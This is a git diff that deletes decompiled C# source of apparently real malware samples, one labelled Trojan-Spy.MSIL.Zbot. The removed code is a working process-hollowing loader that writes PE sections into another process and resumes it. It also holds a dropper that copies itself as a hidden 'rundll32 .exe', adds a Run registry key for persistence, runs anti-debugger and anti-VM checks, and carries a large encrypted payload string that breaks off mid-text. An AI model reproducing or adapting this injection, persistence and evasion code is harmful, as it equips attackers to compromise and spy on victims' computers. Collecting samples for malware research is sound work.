(Type) null, "RFSER", new object[0], (string[]) null, (Type[]) null, (bool[]) null); - IntPtr DASDASC = obj20 != null ? (IntPtr) obj20 : num1; - object obj21 = Instance1; - buffy.Context context1; - buffy.Context context2 = obj21 != null ? (buffy.Context) obj21 : context1; - ref buffy.Context local9 = ref context2; - int num4 = r84Oy4Nt36_2(DASDASC, ref local9) ? 1 : 0; - object Instance6 = (object) context2; - buffy.Q7QRRP639W q7QrrP639W2 = q7QrrP639W1; - object obj22 = NewLateBinding.LateGet(Instance5, (Type) null, "DAS4QQW", new object[0], (string[]) null, (Type[]) null, (bool[]) null); - IntPtr FASFDASDAS = obj22 != null ? (IntPtr) obj22 : num1; - int integer2 = Conversions.ToInteger(Operators.AddObject(NewLateBinding.LateGet(Instance6, (Type) null, "WDA", new object[0], (string[]) null, (Type[]) null, (bool[]) null), (object) 8)); - long num5; - int num6 = checked ((int) num5); - ref int local10 = ref num6; - int num7 = 0; - ref int local11 = ref num7; - int num8 = q7QrrP639W2(FASFDASDAS, integer2, ref local10, 4, ref local11); - long num9 = (long) num6; - buffy.EFVI2YI66B efvI2Yi66B2 = efvI2Yi66B1; - object obj23 = NewLateBinding.LateGet(Instance5, (Type) null, "DAS4QQW", new object[0], (string[]) null, (Type[]) null, (bool[]) null); - IntPtr DASE3 = obj23 != null ? (IntPtr) obj23 : num1; - int AL8ZCRFWNU1 = checked ((int) num9); - long num10 = efvI2Yi66B2(DASE3, AL8ZCRFWNU1); - buffy.W6CTR6GLCC w6CtR6Glcc2 = w6CtR6Glcc1; - object obj24 = NewLateBinding.LateGet(Instance5, (Type) null, "DAS4QQW", new object[0], (string[]) null, (Type[]) null, (bool[]) null); - IntPtr DASE43E = obj24 != null ? (IntPtr) obj24 : num1; - int dfazdasd = checked ((int) ntHeaders3.OOOU.DFAZDASD); - int dasrdasrasr = (int) ntHeaders3.OOOU.DASRDASRASR; - uint num11 = checked ((uint) (int) w6CtR6Glcc2(DASE43E, dfazdasd, (uint) dasrdasrasr, 12288U, 4U)); - if (num11 == 0U) - return; - buffy.ZGOQ8VM05M zgoQ8Vm05M2 = zgoQ8Vm05M1; - object obj25 = NewLateBinding.LateGet(Instance5, (Type) null, "DAS4QQW", new object[0], (string[]) null, (Type[]) null, (bool[]) null); - IntPtr DASE32_1 = obj25 != null ? (IntPtr) obj25 : num1; - int AL8ZCRFWNU2 = checked ((int) num11); - byte[] DSAE32_1 = DAS4DA3; - int wqdasdasd = checked ((int) ntHeaders3.OOOU.WQDASDASD); - uint num12; - int num13 = checked ((int) num12); - ref int local12 = ref num13; - int num14 = zgoQ8Vm05M2(DASE32_1, AL8ZCRFWNU2, DSAE32_1, wqdasdasd, out local12) ? 1 : 0; - uint num15 = checked ((uint) num13); - long num16 = (long) checked (dosHeader3.DASE3ASDAS + 248); - int num17 = checked ((int) ntHeaders3.DSEEEEE.DAAAAAAAA3 - 1); - int num18 = 0; - while (num18 <= num17) - { - ptr = new IntPtr(checked ((long) integer1 + num16 + (long) (num18 * 40))); - buffy.Section_Header sectionHeader1; - object structure2 = Marshal.PtrToStructure(ptr, sectionHeader1.GetType()); - buffy.Section_Header sectionHeader2; - sectionHeader1 = structure2 != null ? (buffy.Section_Header) structure2 : sectionHeader2; - byte[] numArray = new byte[checked ((int) sectionHeader1.DA22S3 + 1)]; - int num19 = checked ((int) ((long) sectionHeader1.DA22S3 - 1L)); - int index = 0; - while (index <= num19) - { - numArray[index] = DAS4DA3[checked ((int) ((long) sectionHeader1.PoinEEter + (long) index))]; - checked { ++index; } - } - buffy.ZGOQ8VM05M zgoQ8Vm05M3 = zgoQ8Vm05M1; - object obj26 = NewLateBinding.LateGet(Instance5, (Type) null, "DAS4QQW", new object[0], (string[]) null, (Type[]) null, (bool[]) null); - IntPtr DASE32_2 = obj26 != null ? (IntPtr) obj26 : num1; - int AL8ZCRFWNU3 = checked ((int) (num11 + sectionHeader1.AL8ZCRFWNU)); - byte[] DSAE32_2 = numArray; - int da22S3 = checked ((int) sectionHeader1.DA22S3); - int num20 = checked ((int) num15); - ref int local13 = ref num20; - int num21 = zgoQ8Vm05M3(DASE32_2, AL8ZCRFWNU3, DSAE32_2, da22S3, out local13) ? 1 : 0; - num15 = checked ((uint) num20); - checked { ++num18; } - } - object bytes = (object) BitConverter.GetBytes(num11); - buffy.ZGOQ8VM05M zgoQ8Vm05M4 = zgoQ8Vm05M1; - object obj27 = NewLateBinding.LateGet(Instance5, (Type) null, "DAS4QQW", new object[0], (string[]) null, (Type[]) null, (bool[]) null); - IntPtr DASE32_3 = obj27 != null ? (IntPtr) obj27 : num1; - int integer3 = Conversions.ToInteger(Operators.AddObject(NewLateBinding.LateGet(Instance6, (Type) null, "WDA", new object[0], (string[]) null, (Type[]) null, (bool[]) null), (object) 8)); - byte[] DSAE32_3 = (byte[]) bytes; - int num22 = checked ((int) num15); - ref int local14 = ref num22; - int num23 = zgoQ8Vm05M4(DASE32_3, integer3, DSAE32_3, 4, out local14) ? 1 : 0; - num12 = checked ((uint) num22); - NewLateBinding.LateSet(Instance6, (Type) null, "AS4", new object[1] - { - (object) checked (num11 + ntHeaders3.OOOU.DDDDDDDDAAA) - }, (string[]) null, (Type[]) null); - buffy.K7B3INYH01 k7B3InyH01_2 = k7B3InyH01_1; - object obj28 = NewLateBinding.LateGet(Instance5, (Type) null, "RFSER", new object[0], (string[]) null, (Type[]) null, (bool[]) null); - IntPtr ASDASCASDASD = obj28 != null ? (IntPtr) obj28 : num1; - object obj29 = Instance6; - context2 = obj29 != null ? (buffy.Context) obj29 : context1; - ref buffy.Context local15 = ref context2; - int num24 = k7B3InyH01_2(ASDASCASDASD, ref local15) ? 1 : 0; - object obj30 = (object) context2; - buffy.WS2XVBNVO9 ws2XvbnvO9_2 = ws2XvbnvO9_1; - object obj31 = NewLateBinding.LateGet(Instance5, (Type) null, "RFSER", new object[0], (string[]) null, (Type[]) null, (bool[]) null); - IntPtr DASEAS = obj31 != null ? (IntPtr) obj31 : num1; - int num25 = (int) ws2XvbnvO9_2(DASEAS); - } - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern IntPtr LoadLibraryA([MarshalAs(UnmanagedType.VBByRefStr)] ref string tr6); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern IntPtr GetProcAddress(IntPtr gdr54, [MarshalAs(UnmanagedType.VBByRefStr)] ref string gfsd54); - - [DllImport("rpcns4.dll", EntryPoint = "RpcNsProfileEltAddA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long RpcNsProfileEltAdd( - long ProfileNameSyntax, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string ProfileName, - ref IntPtr IfId, - long MemberNameSyntax, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string MemberName, - long Priority, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string Annotation); - - [DllImport("wldap32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long ldap_close_extended_op(ref IntPtr ld, long MessageNumber); - - [DllImport("tapi32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long lineSetAppSpecific(long hCall, long dwAppSpecific); - - [DllImport("rtm.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long MgmGetNextMfeStats( - ref IntPtr pimmStart, - ref long pdwBufferSize, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string pbBuffer, - ref long pdwNumEntries); - - [DllImport("mprapi.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long MprAdminDeviceEnum( - ref IntPtr hMprServer, - long dwLevel, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lplpbBuffer, - ref long lpdwTotalEntries); - - [DllImport("MSI.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long MsiDatabaseImport( - ref IntPtr hDatabase, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string szFolderPath, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string szFileName); - - [DllImport("rpcrt4.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long NdrMesSimpleTypeAlignSize(long handle_t); - - [DllImport("NETAPI32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long NetMessageNameDel([MarshalAs(UnmanagedType.VBByRefStr)] ref string servername, [MarshalAs(UnmanagedType.VBByRefStr)] ref string msgname); - - [DllImport("NETAPI32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long NetReplExportDirSetInfo( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string servername, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string dirname, - long level, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string buf, - ref long parm_err); - - [DllImport("NETAPI32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long NetUseGetInfo( - ref IntPtr UncServerName, - ref IntPtr UseName, - long level, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string bufptr); - - [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long QueueUserWorkItem(long lFunction, ref long Context, long Flags); - - [DllImport("kernel32.dll", EntryPoint = "ReadConsoleInputA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long ReadConsoleInput( - long hConsoleInput, - ref IntPtr lpBuffer, - long nLength, - ref long lpNumberOfEventsRead); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long ShowWindowAsync(long hWnd, long nCmdShow); - - [DllImport("mgmtapi.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long SnmpMgrCtl( - ref IntPtr session, - long dwCtlCode, - ref long lpvInBuffer, - long cbInBuffer, - ref long lpvOUTBuffer, - long cbOUTBuffer, - ref long lpcbBytesReturned); - - [DllImport("advapi32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long AddAuditAccessAceEx( - IntPtr pAcl, - long dwAceRevision, - long AceFlags, - long dwAccessMask, - ref IntPtr pSid, - long bAuditSuccess, - long bAuditFailure); - - [DllImport("ODBCCP32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long SQLInstallerError( - int iError, - ref long pfErrorCode, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpszErrorMsg, - int cbErrorMsgMax, - ref int pcbErrorMsg); - - [DllImport("msorcl32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long SQLSetCursorName(long hstmt, [MarshalAs(UnmanagedType.VBByRefStr)] ref string szCursor, int cbCursor); - - [DllImport("rasapi32.dll", EntryPoint = "RasSetCredentialsA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long RasSetCredentials( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpcstr, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpcstr, - ref IntPtr TLPRASCREDENTIALSA, - long @bool); - - [DllImport("kernel32.dll", EntryPoint = "ReadConsoleA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long ReadConsole( - long hConsoleInput, - ref long lpBuffer, - long nNumberOfCharsToRead, - ref long lpNumberOfCharsRead, - ref long lpReserved); - - [DllImport("advapi32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long ReadEncryptedFileRaw( - ref IntPtr pfExportCallback, - ref long pvCallbackContext, - ref long pvContext); - - [DllImport("winspool.drv", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long ReadPrinter( - long hPrinter, - ref long pBuf, - long cdBuf, - ref long pNoBytesRead); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long RegisterHotKey(long hwnd, long id, long fsModifiers, long vk); - - [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long ReleaseSemaphore( - long hSemaphore, - long lReleaseCount, - ref long lpPreviousCount); - - [DllImport("advapi32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern IntPtr GetSiteNameFromSid(ref long pSid, [MarshalAs(UnmanagedType.VBByRefStr)] ref string pwsSite); - - [DllImport("kernel32.dll", EntryPoint = "GetStringTypeExA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long GetStringTypeEx( - long Locale, - long dwInfoType, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpSrcStr, - long cchSrc, - ref int lpCharType); - - [DllImport("kernel32.dll", EntryPoint = "GetVolumePathNameA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long GetVolumePathName( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpszFileName, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpszVolumePathName, - long cchBufferLength); - - [DllImport("user32.dll", EntryPoint = "SetWindowLongA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long SetWindowLong(long hwnd, long nIndex, long dwNewLong); - - [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long TlsSetValue(long dwTlsIndex, ref long lpTlsValue); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern IntPtr ToAscii( - long uVirtKey, - long uScanCode, - ref byte lpbKeyState, - ref long lpwTransKey, - long fuState); - - private static T TXXY5U8D2U(string ASFASE3, string FASGAS543W) => (T) Marshal.GetDelegateForFunctionPointer(buffy.GetProcAddress(buffy.LoadLibraryA(ref ASFASE3), ref FASGAS543W), typeof (T)); - - public struct Context - { - public uint II69TOHMUR; - public uint d2; - public uint das; - public uint d9; - public uint ad; - public uint dsa; - public uint ds; - public buffy.Save Save; - public uint dh; - public uint sad; - public uint da; - public uint MD; - public uint RD; - public uint mSI; - public uint WDA; - public uint AD3; - public uint D21; - public uint AS4; - public uint K32; - public uint F2W; - public uint HHJ; - public uint ADF5; - public uint GSSA; - public uint DSAAA; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 512)] - public byte[] er6rgdr65; - } - - public struct Save - { - public uint KD7JX2MXT; - public uint JCNS3ZPSXO; - public uint DAS3; - public uint DAS23; - public uint ADSA; - public uint DAF35; - public uint FA32D; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 80)] - public byte[] FSDRF43; - public uint FA32QA; - } - - public struct Misc - { - public uint SDUHRL; - public uint GSIJ; - } - - public struct Section_Header - { - public byte FSDPOU4PO3; - public buffy.Misc Mi2sc; - public uint AL8ZCRFWNU; - public uint DA22S3; - public uint PoinEEter; - public uint E2Q4RS; - public uint FS523QF; - public uint FSB43FSD4; - public uint QBFAS4E; - public uint AS32QFZS; - } - - public struct Process_Information - { - public IntPtr DAS4QQW; - public IntPtr RFSER; - public int TGJWE; - public int SDFFFFFFFFFF; - } - - [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] - public struct Startup_Information - { - public int CSZE; - public string FSDR4G; - public string AAAAAAAAAA; - public string AADDDDDDD; - public int ADA; - public int C; - public int AEDS; - public int DASDDDD; - public int XASE4; - public int DAS3EDFZ; - public int DVA3ES; - public int CCCCQ; - public short FDSRS; - public short VYE5X; - public int KHJKIHJK; - public int KHJKHJK; - public int KHJKHJ; - public int KHJKJHK; - } - - public struct Security_Flags - { - public int GFSETWE; - public IntPtr EWEWWW; - public int DASDAS; - } - - public struct DOS_Header - { - public ushort DASDASFASF; - public ushort QWEQWE; - public ushort EQWEQWEQWE; - public ushort HFGHFGHFGH; - public ushort HFGHFGHFG; - public ushort DASD444444; - public ushort DASFASE33; - public ushort DASKGHJ; - public ushort DASVZDF; - public ushort VXCVXC; - public ushort VXCVXCV; - public ushort EWECS; - public ushort EWADC; - public ushort UADA3; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] - public ushort[] ReservWWWWWWWWWWWWWWWedA; - public ushort DAS4E; - public ushort UJJ; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)] - public ushort[] DDDDDDDDD; - public int DASE3ASDAS; - } - - public struct NT_Headers - { - public uint SSSSSSSSSSSQ; - public buffy.File_Header DSEEEEE; - public buffy.Optional_Headers OOOU; - } - - public struct File_Header - { - public ushort ITTTTTTTT; - public ushort DAAAAAAAA3; - public uint HRFTYTYTR; - public uint GJGFSFS; - public uint FSVGY; - public ushort FSFV; - public ushort A34FFC; - } - - public struct Optional_Headers - { - public ushort WWWWWWWWW; - public byte MaAAAAAAAAAAAjor; - public byte MiSSSSSSSSSSSnor; - public uint SSSSSSSSSSSSS; - public uint FFFFFFFFFFF; - public uint XXXXXXXX; - public uint DDDDDDDDAAA; - public uint FSSSSSSS; - public uint RSFS43; - public uint DFAZDASD; - public uint SectionA; - public uint FileA; - public ushort GDFTDFFFF; - public ushort HGDFHD564; - public ushort GD5ERGD; - public ushort FSD5YHD; - public ushort ASDASG; - public ushort AS4ASAS; - public uint CCC; - public uint DASRDASRASR; - public uint WQDASDASD; - public uint Assssssss; - public ushort fsd4s; - public ushort fjio; - public uint dasrlajstpoi; - public uint dasdraskyjhuasp; - public uint SHRedas4wa9uqserve; - public uint fsdtsysyt; - public uint eawdasdas3; - public uint Cocccunt; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)] - public buffy.Data_Directory[] GSDGSDT4; - } - - public struct Data_Directory - { - public uint ewq34q234; - public uint das34aw33; - } - - public delegate bool GN04L0ER8I( - string ASFASE3, - string DASDAS3E2, - ref buffy.Security_Flags DASCASE, - ref buffy.Security_Flags CASE222, - bool DAS432E, - uint AEDFKJK32, - IntPtr DSA43R3W, - string ase32ew, - [In] ref buffy.Startup_Information das43fsa, - out buffy.Process_Information das3); - - public delegate bool ZGOQ8VM05M( - IntPtr DASE32, - int AL8ZCRFWNU, - byte[] DSAE32, - int DASEADAS, - out int ASD43FA); - - public delegate int Q7QRRP639W( - IntPtr FASFDASDAS, - int AL8ZCRFWNU, - ref int CAS32, - int ASDASC, - ref int CASTWE); - - public delegate IntPtr W6CTR6GLCC( - IntPtr DASE43E, - int AL8ZCRFWNU, - uint DASCAS3, - uint DAS3, - uint DAS32); - - public delegate long EFVI2YI66B(IntPtr DASE3, int AL8ZCRFWNU); - - public delegate uint WS2XVBNVO9(IntPtr DASEAS); - - public delegate bool R84OY4NT36(IntPtr DASDASC, ref buffy.Context DSACSA43); - - public delegate bool K7B3INYH01(IntPtr ASDASCASDASD, ref buffy.Context ASCA434); -} diff --git a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-e32f4cb1445f6a2c15dfe8b3db4b7f8b35ba93377a22b30e035dd6ca4bba63cf/pizde.cs b/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-e32f4cb1445f6a2c15dfe8b3db4b7f8b35ba93377a22b30e035dd6ca4bba63cf/pizde.cs deleted file mode 100644 index 8fac9102..00000000 --- a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-e32f4cb1445f6a2c15dfe8b3db4b7f8b35ba93377a22b30e035dd6ca4bba63cf/pizde.cs +++ /dev/null @@ -1,645 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: pizde -// Assembly: pauls shit, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 8E229732-87B0-444E-A958-B2E22CE8394A -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.Zbot.btc-e32f4cb1445f6a2c15dfe8b3db4b7f8b35ba93377a22b30e035dd6ca4bba63cf.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using My; -using System; -using System.Diagnostics; -using System.IO; -using System.Runtime.InteropServices; -using System.Security.Cryptography; -using System.Text; -using System.Windows.Forms; - -[StandardModule] -internal sealed class pizde -{ - private static string iohouh7877 = "GDGDF54545"; - private static string HostEditing = "%28%"; - private static string antis = "%29%"; - private static string stuff = "%something%"; - private static object Devices; - private static string Grafikadapter; - private static string RegionA = "SELECT * FROM Win32_VideoController"; - - [STAThread] - public static void Main() - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; - string processName = Process.GetCurrentProcess().ProcessName; -label_2: - num3 = 3; - Process.GetProcessesByName(processName); -label_3: - num3 = 4; - if (Operators.CompareString(pizde.iohouh7877, "hhhhhhhhhheeeee", false) != 0) - goto label_11; -label_4: - num3 = 5; - object tempPath1 = (object) Path.GetTempPath(); -label_5: - num3 = 6; - object executablePath = (object) Application.ExecutablePath; -label_6: - num3 = 7; - object fullPath = (object) Path.GetFullPath(Conversions.ToString(executablePath)); -label_7: - num3 = 8; - FileAttributes fileAttributes1 = FileAttributes.Hidden | FileAttributes.System; -label_8: - num3 = 9; - MyProject.Computer.Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue("rundll32", Operators.ConcatenateObject(tempPath1, (object) "rundll32 .exe")); -label_9: - num3 = 10; - FileSystem.FileCopy(Conversions.ToString(fullPath), Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(tempPath1, (object) "\\"), (object) "rundll32 .exe"))); -label_10: - num3 = 11; - File.SetAttributes(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(tempPath1, (object) "\\"), (object) "rundll32 .exe")), fileAttributes1); -label_11: - num3 = 13; - if (Operators.CompareString(pizde.HostEditing, "hhhhhhhhhheeeee", false) != 0) - goto label_13; -label_12: - num3 = 14; - pizde.HostEdit(); - goto label_14; -label_13: - num3 = 16; -label_14: - num3 = 18; - pizde.AntiMalwarebytes(); -label_15: - num3 = 19; - pizde.AntiOllydbg(); -label_16: - num3 = 20; - pizde.AntiWireshark(); -label_17: - num3 = 21; - pizde.AntiVirtualBox(); -label_18: - num3 = 22; - pizde.AntiVirtualPC(); -label_19: - num3 = 23; - pizde.AntiVmWare(); -label_20: - num3 = 24; - pizde.IsDebuggerPresent(); -label_21: - num3 = 25; - string s1 = "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